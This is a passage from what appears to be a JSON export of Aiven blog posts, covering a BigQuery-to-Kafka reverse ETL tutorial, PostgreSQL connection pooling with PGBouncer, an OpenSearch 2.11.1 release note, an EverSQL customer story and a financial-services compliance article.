region](https://cdn.sanity.io/images/sczeoy4w/production/f0f256cb6a439ceb45522d5557e066d2569720a7-886x689.png)\n\n7. Choose a suitable service plan. For the purposes of this blog we are using a `business-4` plan since it will allow us to start Kafka Connect on the same nodes.\n\n8. Click on “Create Service”.\n\n9. Enable Kafka Connect on the same nodes where Kafka is running:\n\n * Navigate to the “**Service Settings**” \n * Locate the “**Service Management**” section \n * Click on the hamburger menu on the top right and select “**Enable Kafka Connect**”\n\n ![Enable Kafka Connect](https://cdn.sanity.io/images/sczeoy4w/production/28aa7dbfbdf07063248cf01031d8727cf60fb2ca-1999x611.png)\n\n10. Enable Kafka **REST API (Karapace)** in the same “**Service Management**” section as step 9\\. This will allow us to browse the data landing in Apache Kafka directly from the Aiven Console.\n\n11. Verify the service is in `RUNNING` state and navigate to the **Topics** section to create a topic called `reverse-ETL-bigquery-kafka.`\n\n ![Create topic](https://cdn.sanity.io/images/sczeoy4w/production/61367cfc258274b27245f976eef437682300f241-596x306.png)\n\n12. Navigate to the “**Connectors**” section and Click on **See all connectors**. Then locate the **Google Cloud Pub/Sub Source** connector and click on **Get Started.**\n\n ![Select Google Cloud Pub/Sub Source connector](https://cdn.sanity.io/images/sczeoy4w/production/5f73cfe56a480cda243063bd93907217ea68fb8f-1999x1089.png)\n\n \n13. In the **Connection configuration** section, substitute the JSON with the following:\n\n ```json\n {\n \"name\": \"reverse-ETL-bigquery-kafka\",\n \"kafka.topic\": \"topic-name\",\n \"cps.project\": \"gcp-project-name\",\n \"cps.subscription\": \"continuous_query_topic-sub\",\n \"gcp.credentials.json\": \"KEY\"\n }\n ```\n\n Where:\n\n * `name`: is the Kafka Connect connector name \n * `kafka.topic`: is the target topic name \n * `cps.project`: is the GCP project name \n * `cps.subscription`: is the Google Pub/Sub subscription name \n * `gcp.credential.json`: is the [GCP credential file in JSON format](https://aiven.io/docs/products/kafka/kafka-connect/howto/gcp-bigquery-sink-prereq\\#gcp-bigquery-sink-connector-google-account?utm\\_source=blog\\\u0026utm\\_medium=organic\\\u0026utm\\_campaign=blog\\_kafka\\_bigquery\\_google\\\u0026utm\\_content=continuous\\_queries)\n\n14. Once the Apache Kafka Pub/Sub connector starts up, you can navigate to BigQuery and run the continuous query defined above. You should start seeing the messages arriving in the Kafka topic defined in the connector.\n\n15. Once the data lands in the Apache Kafka topic, you can read it in streaming mode with dedicated consumers or create sink connectors to push the events into downstream applications as your use case demands.\n\n## Conclusion and Next Steps\n\nThe ability to extract data from BigQuery in near real time, and combine it with the streaming capabilities of Apache Kafka, allows customers to maximize the impact of using BigQuery for insights and effect.\n\nFor those already using Kafka and BigQuery in an ETL workflow, the additional capabilities provide Reverse ETL, closing the data loop.\n\nLearn more about [Google Cloud BigQuery](https://cloud.google.com/bigquery), [continuous queries](https://cloud.google.com/bigquery/docs/continuous-queries-introduction) and [exporting data to Pub/Sub](https://cloud.google.com/bigquery/docs/export-to-pubsub). \n\nIf you would like to experience this for yourself, [click here](https://console.cloud.google.com/marketplace/product/aiven-public/aiven?hl=en) to check out Aiven’s listing on Google Cloud Marketplace or [sign in](https://pantheon.corp.google.com/marketplace/product/aiven-public/aiven?organizationId=433637338589) to your Google account.\nYou can also visit [Aiven for Apache Kafka](https://aiven.io/kafka?utm\\_source=blog\\\u0026utm\\_medium=organic\\\u0026utm\\_campaign=blog\\_kafka\\_bigquery\\_google\\\u0026utm\\_content=continuous\\_queries) to discover the features, plans, and options available for a managed Apache Kafka service.\n","mainImage":{"_type":"mainImage","alt":"Reverse your ETL: Stream BigQuery data to Aiven for Apache Kafka® with continuous queries","asset":{"_ref":"image-f15ac4aa00db7f6fd2c6b1bd8cceeefe75510c46-1200x628-png","_type":"reference"}},"publishedAt":"2024-08-06T14:00:54.216Z","slug":{"_type":"slug","current":"/blog/bigquery-changes-in-real-time-to-kafka"},"subtitle":"BigQuery continuous queries enable the reverse ETL pattern. You can now stream your enriched data from BigQuery back to the operational data layer using Aiven for Apache Kafka®.","title":"Reverse your ETL: Stream BigQuery data to Aiven for Apache Kafka® with continuous queries"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1aEFNTpUX4LItERV4BsthQ","_rev":"on5KSabgAN0raW406ZJONF","_type":"post","_updatedAt":"2024-02-09T09:47:13Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We're happy to announce that Aiven for PostgreSQL now has support for connection pools. Connection pooling allow you to maintain very large numbers of connections to a database while keeping the server resource usage low.\n\nAiven for PostgreSQL connection pooling utilizes PGBouncer for managing the database connection and each pool can handle up to **5000 database client connections**. Unlike when connecting directly to the PostgreSQL server, each client connection does not require a separate backend process on the server. PGBouncer automatically interleaves the client queries and only uses a limited number of actual backend connections, leading to lower resource usage on the server and better total performance.\n\n### Why connection pooling?\n\nEventually a high number of backend connections becomes a problem with PostgreSQL as the resource cost per connection is quite high due to the way PostgreSQL manages client connections. PostgreSQL creates a separate backend process for each connection and the unnecessary memory usage caused by the processes will start hurting the total throughput of the system at some point. Also, if each connection is very active, the performance can be affected by the high number of parallel executing tasks.\n\nIt makes sense to have enough connections so that each CPU core on the server has something to do (each connection can only utilize a single CPU core [1]), but a hundred connections per CPU core may be too much. All this is workload specific, but often a good number of connections to have is in the ballpark of 3-5 times the CPU core count.\n\n[1] PostgreSQL 9.6 introduced limited parallelization support for [running queries in parallel](https://www.postgresql.org/docs/9.6/parallel-query.html) on multiple CPU cores.\n\nWithout a connection pooler the database connections are handled directly by PostgreSQL backend processes, one process per connection:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/7a2a86c447f975caa3595a0d2b0a57415e3e6318-640x279.png)\n\nAdding a PGBouncer pooler that utilizes fewer backend connections frees up server resources for more important uses, such as disk caching:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/3a345fc0c4b48481a275c481ef78318ee8db7614-640x278.png)\n\nMany frameworks and libraries (ORMs, Django, Rails, etc.) support client-side pooling, which solves much the same problem. However, when there are many distributed applications or devices accessing the same database, a client-side solution is not enough.\n\n### Connection pooling modes\n\nAiven PostgreSQL supports three different operational pool modes: \"session\", \"transaction\" and \"statement\".\n\n* The **\"session\"** pooling mode means that once a client connection is granted access to a PostgreSQL server-side connection, it can hold it until the client disconnects from the pooler. After this the server connection will be returned back into the connection pooler's free connection list to wait for its next client connection. Client connections will be accepted (at TCP level), but their queries will only proceed once another client disconnects and frees up its backend connection back into the pool. This mode can be helpful in some cases for providing a wait queue for incoming connections while keeping the server memory usage low, but has limited usefulness under most common scenarios due to the slow recycling of the backend connections.\n\n* The **\"transaction\"** pooling mode on the other hand allows each client connection to take their turn in using a backend connection for the duration of a single transaction. After the transaction is committed, the backend connection is returned back into the pool and the next waiting client connection gets to reuse the same connection immediately. In practise this provides quick response times for queries as long as the typical transaction execution times are not excessively long. This is the most commonly used PGBouncer mode and also the Aiven PostgreSQL default pooling mode.\n\n* The third operational pooling mode is **\"statement\"** and it is similar to the \"transaction\" pool mode, except that instead of allowing a full transaction to be run, it cycles the server side connections after each and every database statement (SELECT, INSERT, UPDATE, DELETE statements, etc.) Transactions containing multiple SQL statements are not allowed in this mode. This mode is sometimes used for example when running specialized sharding front-end proxies.\n\n### How to get started with Aiven PostgreSQL connection pooling\n\nFirst you need an Aiven PostgreSQL service, for the purposes of this tutorial we assume you already have created one. A quick\n[Getting Started guide](https://help.aiven.io/en/articles/489573-getting-started-with-aiven-postgresql)\nis available that walks you through the service creation part.\n\nThis the overview page for our PostgreSQL service in the Aiven web console. You can connect directly to the PostgreSQL server using the settings described next to \"Connection parameters\" and \"Service URL\", but note that these connections will not utilize PGBouncer pooling.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/ae626c7e4cf3f317a02f75185b1067d37f0fb474-640x400.png)\n\nClicking the \"Pools\" tab opens a list of PGBouncer connection pools defined for the service. Since this service was launched, there are no pools defined yet:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/a06f70a67be0c54928da1894bf4eac8491ed842f-640x399.png)\n\nTo add a new pool click on the \"Add pool\" button:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/e3b5a806bd2d19b3f4ff687101cc13c89855e06e-640x398.png)\n\nThe pool settings are:\n\n* **Pool name:** Allows you to name your connection pool. This will also become the \"database\" or \"dbname\" connection parameter for your pooled client connections.\n* **Database**: Allows you to choose which database to connect to. Each pool can only connect to a single database.\n* **Username:** Selects which database username to use when connecting to the backend database.\n* **Pool mode:** Refers to the pooling mode descried in more detail earlier in this article.\n* **Pool size:** How many PostgreSQL server connections can this pool use at a time.\n\nFor the purposes of this tutorial we'll name the pool as \"mypool\" and set the pool size as 1 and the pool mode as \"statement\". Confirming the settings by clicking \"Add pool\" will immediately create the pool and the pool list is updated:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/de072d68e2295d87c8e002bd1abb29648012983f-640x398.png)\n\nClicking the \"Info\" button next to the pool information shows you the database connection settings for this pool. Note that PGBouncer pools are available **under a different port number** from the regular unpooled PostgreSQL server port. Both pooled and unpooled connections can be used at the same time.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/01621e55b2d2a5266e2c8ddf3b949e71a8dc8264-640x398.png)\n\n### Verifying the connection pool\n\nWe can use the psql command-line client to verify that the pooling works as supposed:\n\nFrom terminal #1:\n\n```\n$ psql \u003cpool-uri\u003e\n```\n\nFrom terminal #2:\n\n```\n$ psql \u003cpool-uri\u003e\n```\n\nNow we have two open client connections to the PGBouncer pooler. Let's verify that each connection is able access the database:\n\nTerminal #1:\n\n```\nmypool=\u003e SELECT 1;\n?column?\n──────────\n        1\n(1 row)\n```\n\nTerminal #2:\n\n```\nmypool=\u003e SELECT 1;\n?column?\n──────────\n        1\n(1 row)\n```\n\nBoth connections respond as they should. Now let's check how many connections there are to the PostgreSQL backend  database:\n\nTerminal #1:\n\n```\nmypool=\u003e SELECT COUNT(*) FROM pg_stat_activity WHERE usename = 'avnadmin';\n count\n-------\n     1\n(1 row)\n```\n\nAnd as we can see from the pg_stat_activity output the two psql sessions use the same PostgreSQL server database connection.\n\n### Summary\n\nThe more client connections you have to your database, the more useful connection pooling becomes. Aiven PostgreSQL makes using connection pooling an easy task and migrating from non-pooled connections to pooled connections is just a matter of gradually changing your client-side connection database name and port number!\n\n### Try PostgreSQL 9.6 for free in Aiven\n\nRemember that trying Aiven is free: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans. The offer works for all of our services: PostgreSQL, Redis, Grafana, OpenSearch and Kafka!\n\nGo to [aiven.io](https://aiven.io/) to get started!\n\n## Further Reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"publishedAt":"2016-12-21T10:42:00.003Z","seo":{"metaDescription":"Find out how to keep server resource usage low in spite of insanely large numbers of connections to your PostgreSQL database with connection pooling.","metaImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® connection pooling"},"slug":{"_type":"slug","current":"/blog/aiven-postgresql-connection-pooling"},"subtitle":"Find out how to keep server resource usage low in spite of insanely large numbers of connections to your PostgreSQL database with connection pooling.","title":"Aiven for PostgreSQL® connection pooling"} {"__i18n_lang":"en","_createdAt":"2023-12-20T15:30:34Z","_id":"825d9e73-30e9-482b-bb5d-ef0fc6dfbaf7","_rev":"7qeFKv67V7UXtPEzbkXOgu","_type":"post","_updatedAt":"2024-01-19T14:45:10Z","authors":[{"_key":"a07fe28f8f80","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"As 2023 draws to a close, we're pleased to announce that Aiven for Opensearch® is now running on OpenSearch® 2.11.1. Since our previous release was running version 2.8.0, there's way more new under the hood than could be reasonably condensed into a single blog post. With that in mind, I've captured some of the most notable highlights below, but be sure to check out the [OpenSearch release notes](https://opensearch.org/docs/latest/version-history/) for a full accounting of what's been added in the last few releases.\n\n## Machine learning, neural search, and vectors. Oh my!\n\nThere are a ton of machine learning and vector search updates made available in this release. For starters, the [machine learning (ML) framework](https://opensearch.org/docs/latest/ml-commons-plugin/using-ml-models/) is now generally available, with a variety of [pre-trained models](https://opensearch.org/docs/latest/ml-commons-plugin/pretrained-models/) available. Models hosted on third-party platforms can also be integrated via connectors. OpenSearch provides a variety of connector blueprints for several popular AI platforms, or you can create a blueprint of your own to integrate a different platform.\n\nWhen it comes to putting those platforms to work, [neural search](https://opensearch.org/docs/latest/search-plugins/neural-search/) processes ingested documents by passing them through a user-defined ML model to generate vector embeddings which are indexed alongside the source text. Once an ML model has been set up, there are a variety of search methodologies that can be applied for neural search:\n\n\n* [Semantic search](https://opensearch.org/docs/latest/search-plugins/semantic-search/)\n* [Hybrid search](https://opensearch.org/docs/latest/search-plugins/hybrid-search/)\n* [Multimodal search](https://opensearch.org/docs/latest/search-plugins/multimodal-search/)\n* [Sparse search](https://opensearch.org/docs/latest/search-plugins/neural-sparse-search/)\n* [Conversational search](https://opensearch.org/docs/latest/search-plugins/conversational-search/) (experimental)\n\n## Search pipelines are generally available\n\n[Search pipelines](https://opensearch.org/docs/latest/search-plugins/search-pipelines/index/) allow you to customize your searches by chaining together a series of modular processors to modify a query, its results, or both. A search pipeline can perform tasks like personalizing search results or automatically applying a predefined set of query filters, which would otherwise need to be handled within your application code. Previously available only as an experimental feature, pipelines are now generally available and ready to simplify your apps.\n\n## Integrated alerts and anomaly detection in OpenSearch Dashboards\n\nThe Anomaly Detection and Alerting plugins are invaluable tools for getting insight into potential issues impacting your users. However, historically it's been difficult to correlate the data they provide with existing dashboards and visualizations. \n\nIn this release, new [monitors](https://opensearch.org/docs/latest/observing-your-data/alerting/dashboards-alerting/) and [detectors](https://opensearch.org/docs/latest/observing-your-data/ad/dashboards-anomaly-detection/) can be created directly from OpenSearch Dashboards, and can additionally overlay triggered alerts and anomalies over their associated visualizations. Existing monitors and detectors can be associated with visualizations in similar fashion. The end result is a single view that combines your visualizations with related alerts and anomalies, making it easier than ever to diagnose issues and contextualize them with relevant metric visualizations. \n\n## Side-by-side search query comparison\n\nThe relevance of a given search result can depend on the context in which a particular query is evaluated. With varying field weights, document parsing strategies, or ML models, ostensibly similar queries can produce significantly different results.\n\nThis release brings the [search comparison tool](https://opensearch.org/docs/latest/search-plugins/search-relevance/compare-search-results/) to general availability, which provides a side by side comparison of two different search queries in OpenSearch Dashboards. This makes it easier than ever to compare the results, rankings, and relevance of different query strategies without having to change contexts or juggle multiple windows.\n\n## Upgrade your clusters today\n\nTo reiterate, this is all just the tip of the iceberg – for a full list of changes and updates, be sure to check out the [OpenSearch release notes](https://opensearch.org/docs/latest/version-history/). \n\nTo get started today, you can perform a maintenance upgrade on your OpenSearch clusters from the [Aiven console](https://console.aiven.io/). Happy searching!\n\n*Note: An earlier version of this post referred to custom local model support, which is not yet available on Aiven for OpenSearch®. Stay tuned for updates to ML Commons functionality*\n","categories":[{"_key":"8afdbc7564fb","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"06623c817aa0","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-62add3ece79cac95be25945d77ef73fb7f1a0522-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-20T15:16:56.738Z","related":[{"_key":"3e2b67542490","_ref":"66ccc151-4379-4389-8c5c-92ae18d73d3a","_type":"reference"},{"_key":"45f2e41d24b5","_ref":"a079f3cf-69be-4348-b899-ad2f79d55791","_type":"reference"},{"_key":"6215f726772c","_ref":"f29128d2-91e5-45f0-8e91-159edef4b7a0","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/aiven-for-opensearch-updated-to-version-2111"},"subtitle":"Aiven for Opensearch® is running OpenSearch® 2.11.1, bringing new AI capabilities, visual overhauls, and much more. Check out what's new and upgrade today.","title":"Aiven for OpenSearch® updated to version 2.11.1"} {"__i18n_lang":"en","_createdAt":"2024-02-20T10:11:02Z","_id":"281f464e-64e7-4369-af86-c95bf5fe7e36","_rev":"ie5WJlLr1SLUBaBgCqZOr2","_type":"post","_updatedAt":"2024-02-21T09:59:18Z","authors":[{"_key":"647166a2a4be","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"For time-strapped small-business owners who often lack financial experience, banking and accounting are often fragmented and frustrating experiences. That’s why [Lili](https://lili.co/), one single platform for your business finances, was created in 2019. Liran Zelkha, Co-Founder and CTO, and Lilac Bar David, Co-Founder and CEO, together established Lili as the first to offer US customers banking, accounting and tax software on one platform. This allows small business owners to independently handle their own bookkeeping without the help of an accountant, and generate profit and loss statements, cash flow statements, expense reports, invoices and tax preparation with just a click of a button.\n\nZelkha has more than 20 years in the tech industry, which includes periods working as a freelancer, entrepreneur and as CTO and VP for Research and Development at Pepper, the first challenger bank in his native Israel. That provided a wealth of personal experience to draw on when developing the platform. \n\n“We’ve built a platform that enables you to manage your business banking, accounting, invoicing, and tax preparation in one place. This gives the clarity you need as a business owner. Whatever your business goals are, we won’t stop until we help you get there,” Zelkha explains.\n\n## Pre-empting and preventing potential problems\n\nZelkha understands firsthand the needs of his development team. He strives to create an environment where the team can do its best work, and to do so efficiently — to keep Lili’s customers’ banking fees as low as possible. \n\nFor Zelkha that means using [EverSQL by Aiven](https://www.eversql.com/), the database optimization software that Aiven acquired in 2023. Powered by AI, EverSQL automatically rewrites and indexes PostgreSQL® and MySQL® queries and helps development teams accelerate their databases. \n\n![Image with a blue background and an image of Liran Zelkha with the 'Lili' logo in the top right hand corner and the quote \"“We were using MySQL right from the start, and I knew we were going to face performance issues. We were experiencing fast growth so I needed to pre-empt any problems. We looked around and saw that EverSQL was a great solution for us,with the EverSQL by Aiven and the AWS logos in the bottom left hand corner.](https://cdn.sanity.io/images/sczeoy4w/production/e3d06efd3503cba49104cbcd4901d852083c6e8a-1200x628.png)\n\n“We were using MySQL right from the start, and I knew we were going to face performance issues. We were experiencing fast growth so I needed to pre-empt any problems. We looked around and saw that EverSQL was a great solution for us,” Zelkha says.\n\n## High standards of performance for demanding customers\n\nLili’s entire environment and database runs on AWS. The customer-facing part of the application enables business owners to check their bank balance and view transactions in the accounting component. Performance is naturally important — customers want that information immediately, and it’s what distinguishes platforms like Lili from more traditional players. So although the application mostly serves read-only use cases for customers, to ensure they have the best possible user experience, the application needs to load, aggregate and analyze huge amounts of data upon login.\n\nThe other aspect of the application handles actions like authorizing and authenticating credit-card transactions. Every swipe of a card and every mobile payment sends a notification to the Lili database. As a result, the database is very large but having a very short response time is still essential. \n\n“If a customer uses their card, our server needs to save the swipe, and then approve or not approve the transaction. If that action takes an additional 200 milliseconds, it means the customer is standing in line for an additional 200 milliseconds. It doesn’t sound like much, but people feel it. They feel the card is slower than other cards. We are just not willing to accept that level of service,” Zelkha says. \n\n## Optimizing the database with the help of AI\n\nIt means that Lili is dependent on its very large database running optimally at all times. “The way our customers, our application and our database work mean we need something to monitor our performance and to prevent problems before they arise,” Zelkha says. “EverSQL by Aiven automatically identifies and helps optimize SQL performance issues, so they don’t become performance problems.” \n\nAs part of the development process, anyone at Lili who writes complicated queries passes it through EverSQL to make sure those queries are optimized before being deployed to production. Zelkha leverages the EverSQL performance insight dashboard to retrieve detailed information about any service performance degradations and uses the automatic recommendations to address them.\n\nThe fact that his team can write queries and don't need to spend time on optimization is a real bonus. “They can just drop a query into the UI and get recommendations. And if there are still problems, they go to the data team or to me. But in 95% of the time, they are totally independent,” says Zelkha. “EverSQL by Aiven makes it easier for the developers. It speeds up their work. It’s a win-win relationship for them. They see the value — they love it.”\n\n![Image with a orange background and an image of Liran Zelkha with the 'Lili' logo in the top right hand corner and the quote “EverSQL by Aiven makes it easier for the developers. It speeds up their work. It’s a win-win relationship for them. They see the value — they love it.”,with the EverSQL by Aiven and the AWS logos in the bottom left hand corner.](https://cdn.sanity.io/images/sczeoy4w/production/306f2a79c871a7e5735a4726ed4dc2eadb4658e9-1200x628.png)\n\nNotably, there is a key team member absent from the Lili set-up — the database administrator. \n“EverSQL by Aiven saved us the need of hiring a DBA”, saya Zelkha. “A DBA’s role is to see problems and to fix them, it’s not to avoid problems in the first place. But with EverSQL by Aiven, our developers take ownership of their SQL queries and optimize them so we save ourselves a lot of issues.” \n\n## Future ambitions and a good night’s sleep\n\nFor a company of Lili’s size and potential, not to mention its significant growth rate, being able to say that there is no need to worry about the optimization aspect of your architecture is an incredibly powerful statement. “We’re ambitious. We want more customers — and we’ll need to store more data as we do that. So our database size and our use of EverSQL by Aiven will continue to increase as well.”\n\n![Image with a blue background and an image of Liran Zelkha with the 'Lili' logo in the top right hand corner and the quote ““We love EverSQL by Aiven. I love to recommend it. And I love that it gives me a good night’s sleep.”,with the EverSQL by Aiven and the AWS logos in the bottom left hand corner.](https://cdn.sanity.io/images/sczeoy4w/production/7254a76d1e3397ddfd44da0d3a7008e4fab4b360-1200x628.png)\n\nAs for Zelkha himself, the best feature of EverSQL is the reduced stress. “We love EverSQL by Aiven. I love to recommend it. And I love that it gives me a good night’s sleep.”\n","categories":[{"_key":"88a55d28bb3a","_ref":"82a49fe5-7ab8-447c-8851-470b8f740277","_type":"reference"},{"_key":"d3189aa82878","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"359acc815826","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"156755b03ade","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"eec1d50b-f1b0-479d-aa1c-e716089cb005","_type":"reference"},"ctaText":"Read the blog","previewImage":{"_type":"mainImage","asset":{"_ref":"image-7254a76d1e3397ddfd44da0d3a7008e4fab4b360-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"White writing on an orange background that reads \"Better Business Banking: How Aiven Helps Lili to Expand and Keep Impressing Customers\" and a white \"EverSQL by Aiven logo in the bottom left hand corner","asset":{"_ref":"image-9c639e660d2dcc8a08781a30c097995514775c12-1200x628-png","_type":"reference"}},"publishedAt":"2024-02-20T14:02:53.922Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-9c639e660d2dcc8a08781a30c097995514775c12-1200x628-png","_type":"reference"}},"metaTitle":"EverSQL by Aiven accelerates PostgreSQL® and MySQL® for Lili"},"slug":{"_type":"slug","current":"/blog/better-business-banking-how-aiven-helps-lili-to-expand"},"subtitle":"EverSQL by Aiven enables fast-growing Lili to optimize databases, pre-empting performance issues and saving valuable developer time","title":"Better Business Banking: How Aiven Helps Lili to Expand and Keep Impressing Customers"} {"__i18n_lang":"en","_createdAt":"2024-04-05T00:49:58Z","_id":"c714d04b-cc8e-46fe-9d59-bbb0b097127e","_rev":"tXj82aAr3VYUsa9AwkgD9e","_type":"post","_updatedAt":"2024-08-23T00:36:54Z","authors":[{"_key":"f8202a0f9c67","_ref":"167bca61-78ce-412f-a44e-1495de770f99","_type":"reference"}],"body":"With compliance and risk management regulations set to tighten globally, many financial services organisations are working extremely hard to identify and close gaps in their existing risk management and compliance strategies. What’s more, finding previously unidentified gaps or vulnerabilities is becoming increasingly common, especially when assessing existing frameworks against these new industry requirements. \n\nAt Aiven we talk with financial services customers every day about **organisational risk and compliance and the ways that technology can help address and close these gaps**. With APRA’s operational resilience framework comprised of CPS 230 \u0026 234 coming into effect in Australia and other Basel 3.1 aligned frameworks within Asia Pacific, Europe, the UK, and the United States, it’s clear that many FSI organisations are facing similar challenges.\n\n\u003e Two of the biggest areas of vulnerability for financial services organisations right now are: running outdated or unsupported software, and single supplier failure or vendor lock-in. \n\n## A lens on regulation changes and challenges in APAC\n\nA myriad of global changes are impacting the financial services industry (FSI), including increased geopolitical tension, economic turmoil, consumer demand, ESG considerations and reporting, the rise of digital assets, and the accelerating digitalisation of finance, not to mention growing complexities of financial crime and operational resilience.\n\nIt’s no surprise then, that **governments are taking an active role in trying to increase resilience.** As one example, in Australia, CPS 230 \u0026 234, scheduled to take effect from 1 July 2025, will apply to all Australian Prudential Regulation Authority (APRA) regulated entities in banking, insurance, and superannuation, introducing new requirements for operational risk management, service provider risk management, and business continuity planning. As such, APRA-regulated entities must prepare to implement substantial changes to their governance structures, compliance protocols, contractual frameworks, and incident response mechanisms to meet changing demands.\n\nTo pave the way for future growth and navigate an increasingly intricate regulatory landscape, **firms must strategically invest in technology solutions that support governance, risk, and compliance - understanding their biggest pitfalls and areas of opportunity.** Leveraging solutions and powerful vendor partnerships will go a long way in the management of regulatory obligations, reporting requirements, and internal policies and procedures.\n\n## Misconception #1: Running outdated or unsupported software isn’t a big deal\n\n\u003e A recurring pain point we hear all the time with FSI organisations is running outdated software systems. A surprising number of businesses are running outdated software even now, and for a variety of seemingly valid reasons. \n\nFor instance, an IT lead may have lapsed on updates to reduce downtime and resigned from an organisations before rectifying the situation, or an organisation may have invested in software that reached its end of life and now have neither the time nor resources to either change or update the software. \n\nWe know **unsupported software leads to several issues, such as compatibility issues or a breach of security policies, and that updates are heavily encouraged to remove this risk.** However, updates often require outages and a significant depth of knowledge, which can too easily be touted as valid rationale to postpone them. Organisations are more likely to run the risk of outdated software rather than inconveniencing their customers with a potential downtime period.\n\nThis issue not only creates operational hurdles but also has significant reputational and compliance consequences, especially as regulations become stricter. Under the new regulations, actions like this would be a breach, especially around technology refresh management. **An unpatched system is an insecure system, which fails to meet regulatory requirements for Information Security.** We also know that with the right vendor and technology partner, downtime doesn’t have to be a given and can be greatly minimised or removed entirely.\n\n## Misconception #2: Vendor lock-in and single supplier failure won’t happen to me\n\n\u003e One of the requirements for regulatory compliance is for organisations to protect themselves against single-supplier failure. Whether storing critical, business-critical, or any consumer data, financial institutions must have more than one copy of data in different locations, that can easily move in and out of supplier arrangements.\n\nIf an organisation is locked into a single-supplier arrangement, it becomes harder to leave and costs can increase.\n\nThere are various reasons why an FSI may end up in a vendor lock-in. In some cases, FSIs will try to lessen the number of vendors they engage with to reduce complexity, specialized skills requirements, negotiating time for multiple contracts and not act as a system integrator. But it’s a double-edged sword as by putting all your eggs in one basket, you open yourself up to risk as well. This can be not just from a region going offline, but also from losing pricing leverage, the ability to make a deal, and once you are locked in, the cost to move can far outweigh the benefit of doing so. \n\n**As regulations change, this is further incentive to choose technologies that aren’t vendor specific**, that are easy to resource, and ensuring the resourcing for technologies also isn’t coming from single providers. Open-source software presents a compelling argument for both operational efficiencies and to protect against vendor lock-in, so data can flow freely and ensure compliance requirements are adhered to.\n\nWe’ve found when **FSI organisations are not using open-source software it’s generally because they don’t have a defined support path or have fears around security and updates**. However, with the right vendor, open-source can be a powerful ally in staying up to date with compliance needs, and offering greater support to improve business outcomes.\n\nAs an example, the **Aiven** [managed platform](https://aiven.io/platform) leverages open-source technologies and **takes care of automated maintenance and updates on a weekly basis, so organisations are always running supported and up-to-date software**. For major updates, depending on the product and the open-source project, Aiven highlights to customers when version End of Life (EoL) is approaching, and supports an upgrade process which is automated and well-proven. Near-zero-downtime upgrades for your open-source software are now a reality with Aiven.\n\nOn top of this, **when it comes to single supplier failure, Aiven steps into these supplier arrangements to run across multiple clouds – in line with financial regulations** – so organisations can easily migrate data between their service providers, be that AWS, Google, MS Azure, Oracle, or others, in a matter of minutes. In these circumstances, Aiven becomes a supplier as well, but being open -source, Aiven’s arrangements are simplified and transparent.\n\n## Top tier management solutions for a changing regulatory world\n\nAiven’s cloud-agnostic, unified platform provides best-in-class open-source solutions to address operational and compliance needs to help FSIs stay focused on delivering business value. [IDC’s recent report ](https://aiven.io/whitepaper/the-business-value-of-aiven-data-cloud-solutions)highlights how open-source through Aiven enables a move away from building and maintaining on-premises infrastructure, thereby avoiding the human resource and competency costs that organisations otherwise had to absorb, and ensuring productivity and risk mitigation benefits.\n\nOverall, IDC found that Aiven customers achieved strong ROI value by ensuring more efficient and effective use of data-related solutions core to their business operations:\n\n* 37% lower three-year cost of operations\n* 81% faster to create and deploy a new database\n* 29% more efficient IT infrastructure and security teams.\n\n![](https://cdn.sanity.io/images/sczeoy4w/production/c4bfeb72c306acaf7f9e2c9e6f0665dd71cdd94e-500x300.png)\n\nUsing Aiven, organisations also were able to boost their net revenue per year, while also managing tightening restrictions and compliance regulations with embedded and automated data management. \n\n[Get in touch with Aiven](https://aiven.io/book-demo) to see how you can maximise your tech 